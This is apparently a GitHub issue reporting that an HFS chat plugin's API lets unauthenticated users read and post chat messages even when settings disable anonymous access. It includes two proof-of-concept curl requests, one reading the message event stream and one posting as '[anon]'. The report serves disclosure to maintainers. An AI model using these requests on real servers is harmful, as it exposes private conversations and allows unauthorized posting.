-
Notifications
You must be signed in to change notification settings - Fork 3
Anonymous can read and write to chat despite settings #12
Description
When in the plugin settings someone disables anonymous accounts from sending and receiving messages, anybody can still infact do it. It is hidden in the UI when the settings are chosen but the actual API never questions you twice.
When you run the curl command (or use any other HTTP client):
curl 'http://YOUR_HFS_DOMAIN/~/api/get_notifications?channel=chat' -H 'Accept: text/event-stream' -H 'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,sr;q=0.7' -H 'Cache-Control: no-cache' -H 'Connection: keep-alive' -H 'Pragma: no-cache' -H 'Referer: http://YOUR_HFS_DOMAIN/' -H 'Sec-Fetch-Dest: empty' -H 'Sec-Fetch-Mode: cors' -H 'Sec-Fetch-Site: same-origin'
You are now connected to an EventStream, which shows you any new messages sent. Now, when someone sends a message, it's given straight to you in JSON.
I have not tested the separate list method to list previously sent messages, but I would suggest looking into that method as well.
You can also send messages as anonymous, again, despite settings.
curl 'http://YOUR_HFS_DOMAIN/~/api/chat/add' -H 'Accept: */*' -H 'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,sr;q=0.7' -H 'Cache-Control: no-cache' -H 'Connection: keep-alive' -H 'Content-Type: text/plain;charset=UTF-8' -H 'Pragma: no-cache' -H 'Referer: http://YOUR_HFS_DOMAIN/' -H 'Sec-Fetch-Dest: empty' -H 'Sec-Fetch-Mode: cors' -H 'Sec-Fetch-Site: same-origin' --data-raw '{"m":"Oh, you thought settings would save you?"}'
Then, you can check in HFS for the message, or you could check via my found method of just curling it, and you'd see, that the user "[anon]" sent a message saying "Oh, you thought settings would save you?"
As you can see, in both requests there are no cookies, meaning I am not presenting any authentication to the server. Yet it still accepts my message.